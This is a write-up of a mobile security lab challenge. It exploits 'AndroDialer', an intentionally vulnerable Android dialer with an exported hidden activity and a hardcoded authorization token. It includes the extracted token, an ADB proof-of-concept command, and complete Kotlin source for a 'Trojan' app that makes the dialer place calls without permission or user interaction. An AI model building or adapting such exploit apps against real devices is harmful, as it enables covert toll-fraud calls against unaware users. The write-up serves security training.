Androdialer Writeup
Table of Contents
AndroDialer: The Ultimate Phone Experience
Introduction
Ever wanted to break free from the limitations of your regular Android dialer? Meet AndroDialer! A sleek, full‑featured dialer app that takes your calls to the next level.
It brings together smart contact organization, customizable quick‑dial widgets, and a “Business Focus” mode that filters interruptions so you stay in control of every conversation. Behind the scenes, AndroDialer delivers in‑depth call analytics to help you spot communication trends, plus enhanced security features. Its highly adaptable interface is complete with light and dark themes, call‑time limits, and fully personalized settings that strike the ideal balance of efficiency and elegance for both personal and professional calling.
Attack Chain
Static analysis (jadx / MobSF) → exported "Ghost Activity" (CallHandlerServiceActivity)
│
▼
Authorization token hardcoded in the code → 8kd1aL3R_s3Cur3_k3Y_2023
│
▼
Improper Access Control → forged Intent with the token + phoneNumber
│
▼
Confused Deputy → AndroDialer (which holds the CALL_PHONE permission) places the call
│
▼
Unauthorized call, no permissions and no victim interaction
Objective
Create a malicious application that exploits the AndroDialer application to initiate unauthorized phone calls to arbitrary numbers without the victim’s knowledge or consent.
Successfully completing this challenge demonstrates a critical security vulnerability that could lead to financial fraud.
Restriction
Your exploit must work on non-rooted Android devices running versions up to Android 15 and must not require any runtime permissions to be explicitly granted by the victim, making it appear harmless to users during installation.
Information about APK
Before diving into the code, we perform a quick inspection of the target application to ensure integrity and gather metadata.
- Application Name: AndroDialer
- Package Name: com.eightksec.androdialer
- Filename: AndroidDialer.apk
- Size: 3.1 MB
- MD5: 1114a0d118641f97082f4fdd78902ebc
- SHA256: c50b141784d237364ab0138b77afb07c21d5c0833df0387e016f41dbb921a828
Reconnaissance & Static Analysis
We begin by decompiling the APK using jadx-gui and MobSF. Upon inspecting the AndroidManifest.xml, a specific activity stands out due to its configuration:
<activity
android:theme="@android:style/Theme.NoDisplay"
android:name="com.eightksec.androdialer.CallHandlerServiceActivity"
android:exported="true"
android:taskAffinity=""
android:excludeFromRecents="true">
<intent-filter>
<action android:name="com.eightksec.androdialer.action.PERFORM_CALL"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="tel"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="dialersec"
android:host="call"/>
</intent-filter>
</activity>
Analysis of the Manifest Configuration
This configuration reveals several critical attributes indicating a stealth design:
android:theme="@android:style/Theme.NoDisplay: This is often referred to as a “Ghost Activity.” It has no graphical user interface (GUI). It executes its logic and finishes (or runs in the background) without the user seeing anything on the screen.
android:exported=“true”: This is the primary entry point for the attack. It means the Activity is accessible for external apps. Any other application on the device (or an adb command) can invoke this component directly.
android:excludeFromRecents=“true” and android:taskAffinity="": These attributes ensure the activity does not appear in the “Recent Apps” list, further hiding its execution from the user.
Attack vector
Upon reviewing the source code for CallHandlerServiceActivity, we identified an access control mechanism based on a token.
// Logic to validate the authorization token
if (str13.equals("8kd1aL3R_s3Cur3_k3Y_2023") ||
str13.equals("8kd1aL3R-s3Cur3-k3Y-2023") ||
h.a(str3, "8kd1aL3R_s3Cur3_k3Y_2023") ||
h.a(str3, "8kd1aL3R-s3Cur3-k3Y-2023")) {
// Logic to extract the phone number
if (getIntent().hasExtra("phoneNumber")) {
str9 = getIntent().getStringExtra("phoneNumber");
}
// ... subsequent code triggers the call
}
The logic flow functions as follows:
Token Harvesting: The activity parses the incoming Intent, scraping data from Extras, Query Parameters, and Path Segments, collecting potential tokens into an ArrayList.
The Check (Hardcoded Credential): It validates if any collected token matches the hardcoded string 8kd1aL3R_s3Cur3_k3Y_2023.
Execution: If the token is valid, it extracts the target phone number and immediately executes an ACTION_CALL intent.
The Vulnerability: The application suffers from Improper Access Control combined with Hardcoded Credentials. Since the authorization token is embedded in the app code, any attacker who reverses the app can forge a valid Intent to trigger a privileged action (a phone call) without user interaction.
PoC
To verify the vulnerability, we can manually trigger the Activity via ADB using the extracted token and a target number (e.g., 123456789).
ADB command
adb shell am start -n com.eightksec.androdialer/.CallHandlerServiceActivity \
--es "enterprise_auth_token" "8kd1aL3R_s3Cur3_k3Y_2023" \
--es "phoneNumber" "123456789"
Exploit
To fully satisfy the objective, we must create a malicious Android application (“Trojan”) that triggers this vulnerability programmatically. This app does not require the CALL_PHONE permission itself; it leverages the vulnerable AndroDialer app (confused deputy attack) to place the call. Create a new project in Android Studio with an Empty Activity.
Code
In MainActivity.java, we construct an explicit Intent targeting the vulnerable component. We inject the hardcoded token and the target number into the Intent extras.
package com.example.androdialertexploit
import android.app.Activity
import android.content.ComponentName
import android.content.Intent
import android.os.Bundle
class MainActivity : Activity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// Vulnerable package and activity
val targetPackage = "com.eightksec.androdialer"
val targetActivity = "com.eightksec.androdialer.CallHandlerServiceActivity"
// Token and Target
val authToken = "8kd1aL3R_s3Cur3_k3Y_2023"
val targetNumber = "123456789"
val intent = Intent()
intent.component = ComponentName(targetPackage, targetActivity)
// Add extras
intent.putExtra("enterprise_auth_token", authToken)
intent.putExtra("phoneNumber", targetNumber)
// Launch activity (ghosts)
startActivity(intent)
// Closed
finish()
}
}
Execution
Build the APK (Build > Build Bundle(s) / APK(s) > Build APK).
Install it on the victim’s device where AndroDialer is already installed.
Upon opening the malicious app, it instantly invokes CallHandlerServiceActivity.
AndroDialer validates the token and initiates the call in the background.
This successfully bypasses Android permission models by offloading the privileged action to a legitimate app that already holds the permission, but fails to secure its interface.
Summary
| # | Phase | Technique | Result |
|---|---|---|---|
| 1 | Static analysis | Decompiled with jadx / MobSF | CallHandlerServiceActivity exported and UI-less (Ghost Activity) |
| 2 | Attack vector | Source code review | Hardcoded authorization token + Improper Access Control |
| 3 | PoC | Intent via ADB | Call triggered with the extracted token |
| 4 | Exploit | Malicious app (Confused Deputy) | Unauthorized call with no permissions and no interaction |